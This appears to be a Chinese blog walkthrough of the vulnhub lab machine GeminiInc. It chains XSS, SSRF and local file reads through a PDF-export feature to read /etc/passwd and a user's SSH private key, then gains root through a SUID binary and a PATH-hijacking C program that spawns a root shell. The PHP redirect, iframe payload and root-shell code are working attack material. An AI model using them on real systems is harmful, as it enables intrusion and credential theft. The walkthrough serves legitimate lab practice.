当前位置:网站首页>vulnhub之GeminiInc
vulnhub之GeminiInc
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
半开扫描
nmap -sS ip
二、服务版本探测
三、信息收集
1.无法加载
80端口的资源无法被正常加载,因为一直在访问Google的某些站点,挂梯子访问。
2.主页面
源码地址给我们了
3.源码
逐个查看,在install文件夹下出现了[email protected]
4.尝试登录
成功登录,左上角多了个功能
四、分析功能
1.export输出pdf
2.edit profile编辑文件
我们修改的资料会在资料版上原封不动的显示出来。用户名处不存在过滤,
五、存储型xss
不足以帮助我们突破边界
六、信息收集
1.export输出
在文档属性中我们发现了一个应用。就是一个html转pdf的应用。
七、组合拳XSS+SSRF+LFI
经过搜索,我们可以知道这个应用组件存在这三个漏洞。经过漏洞结合使用,来读取本地文件。
1.本地开启apache服务
systemctl start apache2
cd /var/www/html
sudo vim 1.php
创建一个1.php文件
写入:
<?php
$file = $_GET['file'];
header("location:file://$file");
2.注入payload
<iframe src="http://ip/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
3.export触发
成功读取/etc/passwd文件。可以看到gemini可以通过shell登录
八、读取gemini私钥
保存到kali上
2.ssh公私钥登录
成功登录
九、find信息查找
find / -type f -user root -perm -u+xs -ls 2>/dev/null
十、二进制文件查看
1. /usr/bin/listinfo文件分析
strings /usr/bin/listinfo
内容:
核心代码也就是这几句,调用了系统的命令
2.执行情况
十一、 系统命令文件伪造
1.新建date文件
vim date.c
内容:
#include<sys/types.h>
#include<unistd.h>
#include<stdlib.h>
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
2.修改环境变量
先从前面找,再从后面找
export PATH=/tmp:$PATH
3.执行listinfo
提权成功
拿到flag.txt
边栏推荐
- How to become a senior digital IC Design Engineer (1-2) Verilog coding syntax: Verilog 1995, 2001, 2005 standards
- MCDF实验1
- Nestjs configuration service, configuring cookies and sessions
- This article explains the complex relationship between MCU, arm, MCU, DSP, FPGA and embedded system
- 鸿蒙第四次培训
- (数据库提权——Redis)Redis未授权访问漏洞总结
- 同事写了一个责任链模式,bug无数...
- R语言使用gridExtra包的grid.arrange函数将lattice包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
- How to mix embedded MCU, arm and DSP?
- R语言使用aggregate函数计算dataframe数据分组聚合的均值(sum)、不设置na.rm计算的结果、如果分组中包含缺失值NA则计算结果也为NA
猜你喜欢
How to clean up v$rman_ backup_ job_ Details view reports error ora-02030
Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
同事写了一个责任链模式,bug无数...
金额计算用 BigDecimal 就万无一失了?看看这五个坑吧~~
抓包整理外篇fiddler———— 会话栏与过滤器[二]
Kibana~Kibana的安装和配置
Numpy np.max和np.maximum实现relu函数
STL教程9-容器元素深拷贝和浅拷贝问题
ArcGIS应用(二十一)Arcmap删除图层指定要素的方法
Yintai department store ignites the city's "night economy"
随机推荐
STL教程10-容器共性和使用场景
R语言使用gridExtra包的grid.arrange函数将ggplot2包的多个可视化图像横向组合起来,ncol参数自定义组合图列数、nrow参数自定义组合图行数
C语言 AES加解密
uniapp实现点击加载更多
How PHP solves the problem of high concurrency
解决msvcp120d.dll和msvcr120d.dll缺失
Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
Spl06-007 air pressure sensor (example of barometer)
Phpcms prompt message page Jump showmessage
Cadence background color setting
Capturing and sorting out external Fiddler -- Conversation bar and filter [2]
Slam mapping and autonomous navigation simulation based on turnlebot3
Key switch: press FN when pressing F1-F12
Gut | 香港中文大学于君组揭示吸烟改变肠道菌群并促进结直肠癌(不要吸烟)
C language two-dimensional array
Application of high-precision indoor positioning technology in safety management of smart factory
优化接口性能
Analysis of EPS electric steering system
R language uses grid of gridextra package The array function combines multiple visual images of the ggplot2 package horizontally, and the ncol parameter defines the number of columns of the combined g
JGG专刊征稿:时空组学